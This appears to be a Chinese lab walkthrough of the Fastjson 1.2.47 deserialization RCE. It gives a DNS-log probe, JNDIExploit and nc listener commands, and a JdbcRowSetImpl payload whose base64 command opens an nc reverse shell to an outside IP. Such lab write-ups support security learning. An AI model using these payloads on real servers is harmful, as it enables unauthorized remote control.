当前位置: 首页 > news >正文

Fastjson 1.2.47 远程代码执行

靶场搭建
直接使用极核靶场

https://hackhub.get-shell.com/games/4/challenges#16-Fastjson-1.2.47---%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C

靶场
首页
image

发现登录页面,删除末尾的括号,报错就是fastjson
image

修改POST的Body体为如下数据,val值替换成你的dnslog

{"@type":"java.net.Inet4Address","val":"xpqq7y1yn3giz2xm59djyvbgw720qqef.oastify.com"
}

image

攻击机通过JNDIExploit 工具架设恶意JNDI服务(用法看工具手册)

java -jar JNDIExploit-1.3-SNAPSHOT.jar -i <你的机器IP>

image

nc监听端口

nc -lvp 12345

image

构造数据包反弹shell,将dataSourceName的内容进行base64解码,然后将ip and port 换成自己的服务器

{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://120.48.99.160:1389/Basic/Command/Base64/bmMgMTIwLjQ4Ljk5LjE2MCAxMjM0NSAtZSAvYmluL3No","autoCommit":true}
}

image

成功getshell
image

http://www.agseo.cn/news/243/

相关文章:

  • 树状数组板子
  • 私有化部署Dify构建企业AI平台教程
  • 树状数组板子2
  • 网络流——OI复健
  • 2025“钉耙编程”中国大学生算法设计暑期联赛(3)
  • Symfony学习笔记 - Symfony Documentation - Getting Started(下)
  • MySQL事务
  • 线段树板子
  • 双列圆锥滚子轴承载荷分布计算程序
  • NOIP 集训日记
  • 矢量篇 - KMLKMZ转SHP
  • js空值合并运算符?? - jerry
  • 记录---让网页像现实世界一样“拿起来,放进去”
  • Python面向对象
  • ubuntu上通过kvm新建虚拟机
  • buntu22.04 LTS安装docker以及docker-compose实践
  • 关于USB 无线 WIF 设备驱动安装的问题
  • Spring Boot常用注解-详细解析+示例 - 指南
  • test
  • Ubuntu22.04安装Docker过程记录
  • linux
  • 20分钟快速入门Docker
  • K8S的基础概念
  • MySQL多表查询
  • 如何搭建K8S集群
  • 软件工程导论第一次作业
  • MAG-GNN: Reinforcement Learning Boosted Graph Neural Network | 代码 |
  • GCFExplainer: Global Counterfactual Explainer for Graph Neural Networks
  • Spring Boot 笔记
  • 闲话 25.9.8